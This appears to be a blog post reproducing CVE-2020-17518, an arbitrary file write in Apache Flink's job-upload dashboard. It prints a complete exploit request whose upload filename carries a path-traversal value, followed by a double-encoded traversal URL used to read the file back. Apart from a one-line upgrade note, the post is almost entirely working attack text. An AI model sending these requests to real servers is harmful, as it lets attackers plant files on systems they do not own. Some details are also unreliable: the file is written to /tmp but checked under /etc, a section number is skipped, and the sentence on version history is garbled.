ZZeo.
ZH
← Back to all posts
Web Vulnerability Reproduction and Analysis1 min read

CVE-2020-17518 Arbitrary File Write Vulnerability Reproduction

0x01 Vulnerability Overview: Apache Flink is an open-source stream-processing framework with powerful stream and batch processing capabilities. CVE-2020-17518 is an arbitrary file write vulnerability affecting Apache Flink.

Published Jan 08, 2021
Read in Chinese→

0x01 Vulnerability Overview

Apache Flink is an open-source stream-processing framework with powerful stream and batch processing capabilities.

CVE-2020-17518 Arbitrary File Write Vulnerability

An update was introduced in Apache Flink 1.11.0 and released in versions 1.11.1 and later, as well as 1.11.2.

An arbitrary file upload vulnerability exists in the Submit New Job section of the Apache Flink dashboard:

0x02 Affected Versions

1.11.0
1.11.1
1.11.2

0x03 Vulnerability Reproduction

image-20210106172726958

Write the exploit:

POST /jars/upload HTTP/1.1
Host: 127.0.0.1:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 185

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

zzzzzzz
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

image-20210108171738233

Verify the write:

http://127.0.0.1/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fsuccess

Successfully written:

image-20210108171541774

0x05 Remediation Recommendations

All users should upgrade to the latest version.

https://flink.apache.org/downloads.html